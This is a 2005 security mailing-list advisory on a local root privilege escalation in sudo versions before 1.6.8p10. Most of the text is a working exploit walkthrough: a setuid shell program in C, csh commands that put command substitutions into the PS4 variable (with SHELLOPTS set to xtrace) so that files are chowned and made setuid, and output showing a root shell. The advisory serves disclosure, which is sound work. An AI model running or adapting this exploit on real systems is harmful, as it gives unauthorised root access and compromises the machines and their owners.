[EXPL] sudo Local Privilege Escalation

From: SecuriTeam (support_at_securiteam.com)
Date: 11/10/05

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Date: 10 Nov 2005 14:33:39 +0200

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      sudo Local Privilege Escalation
    ------------------------------------------------------------------------

    SUMMARY

    sudo (superuser do) is a program in Unix, Linux, and similar operating
    systems such as Mac OS X that allows users to run programs in the guise of
    another user (normally in the guise of the system's superuser).

    sudo has been found to be vulnerable to local privilege escalation
    vulnerability that allows local attackers to gain elevated privileges.

    DETAILS

    Vulnerable Systems:
     * sudo versions prior to 1.6.8p10

    Immune Systems:
     * sudo version 1.6.8p10

    Exploiting:
    ## Sudo local root escalation privilege ##
    ## vuln versions : sudo < 1.6.8p10
    ## by breno

    ## You need sudo access execution for some bash script ##
    ## Use csh shell to change SHELLOPTS env ##

    ie:
    %cat x.sh
    #!/bin/bash -x

    echo "Getting root!!"
    %
    ##

    ##
    # cat /etc/sudoers
    ..
    breno ALL=(ALL) /home/breno/x.sh
    .
    #

    ## Let's use an egg shell :)
    %cat egg.c

    #include <stdio.h>

    int main()
    {
    setuid(0);
    system("/bin/sh");
    }
    %

    % gcc -o egg egg.c
    % setenv SHELLOPTS xtrace
    % setenv PS4 '$(chown root:root egg)'
    % sudo ./x.sh
    echo Getting root!!
    Getting root!!
    % ls -lisa egg
    1198941 8 -rwxr-xr-x 1 root root 7428 2005-11-09 13:54 egg
    % setenv PS4 '$(chmod +s egg)'
    % sudo ./x.sh
    echo Getting root!!
    Getting root!!
    % ./egg
    sh-3.00# id
    uid=0(root) gid=1000(breno) egid=0(root)
    grupos=7(lp),102(lpadmin),1000(breno)
    sh-3.00#

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:breno@kalangolinux.org>
    breno.

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